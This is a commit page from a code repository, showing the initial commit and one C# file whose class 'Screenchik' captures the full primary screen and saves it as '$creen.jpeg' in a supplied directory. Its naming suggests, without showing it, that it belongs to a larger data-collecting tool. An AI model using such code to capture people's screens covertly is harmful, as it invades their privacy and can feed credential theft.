initial commit

This commit is contained in:
i2p
2026-08-27 11:22:57 -06:00
commit 3ad3d6e5f4
211 changed files with 105455 additions and 0 deletions
+21
View File
@@ -0,0 +1,21 @@
using System.Drawing;
using System.Drawing.Imaging;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace SHARP
{
internal class Screenchik
{
public static async Task GetScreen(string SDir)
{
Rectangle bounds = Screen.PrimaryScreen.Bounds;
int width = bounds.Width;
bounds = Screen.PrimaryScreen.Bounds;
int height = bounds.Height;
Bitmap bitmap = new Bitmap(width, height);
Graphics.FromImage((Image) bitmap).CopyFromScreen(0, 0, 0, 0, bitmap.Size);
bitmap.Save(SDir + "\\$creen.jpeg", ImageFormat.Jpeg);
}
}
}